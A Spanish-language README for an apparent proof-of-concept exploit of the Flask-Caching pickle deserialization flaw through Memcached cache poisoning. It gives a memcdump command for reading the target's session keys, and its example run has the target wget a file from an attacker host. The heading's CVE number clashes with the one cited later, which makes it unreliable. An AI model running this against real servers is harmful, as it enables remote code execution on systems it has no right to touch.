
Ejecución remota de código por serialización de Pickle - Envenenamiento de Memcached
Serialización Pickle para Ejecución Remota de Código - Exploit PoC de Envenenamiento de Memcached
¿Qué es CVE-2021-3306?
"La extensión Flask-Caching hasta la versión 1.10.1 para Flask utiliza Pickle para la serialización, lo que puede provocar una ejecución remota de código o una escalada de privilegios local. Si un atacante obtiene acceso al almacenamiento de caché (por ejemplo, sistema de archivos, Memcached, Redis, etc.), puede construir un payload manipulado, envenenar la caché y ejecutar código Python."
¿Cuál es la función de la biblioteca Pickle?
"Pickle en Python se utiliza principalmente para serializar y deserializar una estructura de objeto de Python. En otras palabras, es el proceso de convertir un objeto de Python en un flujo de bytes para almacenarlo en un archivo/base de datos, mantener el estado del programa entre sesiones o transportar datos a través de la red."
¿Qué es Memcached?
"Memcached es un sistema de almacenamiento en caché de memoria distribuida de propósito general. A menudo se utiliza para acelerar sitios web dinámicos basados en bases de datos, almacenando en caché datos y objetos en RAM para reducir la cantidad de veces que se debe leer una fuente de datos externa."
[!] Explotación:
1. Para que el exploit funcione, es necesario proporcionar una cookie de sesión, ¿por qué? En esta prueba de concepto tenemos un caso donde la cookie de sesión de una aplicación Flask vulnerable está siendo gestionada o almacenada por el servicio memcached:
memcdump --servers=target_machine_ip_address

2. Uso del exploit:
-h --> help menu
--cmd --> Command to get executed on the target machine
--rhost --> Target Machine Ip Address
--rport --> Target Machine Port
--cookie --> Your ACTUAL SESSION COOKIE from the VULNERABLE FLASK Application. Example: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. Ejecución del exploit:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

Referencia:
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/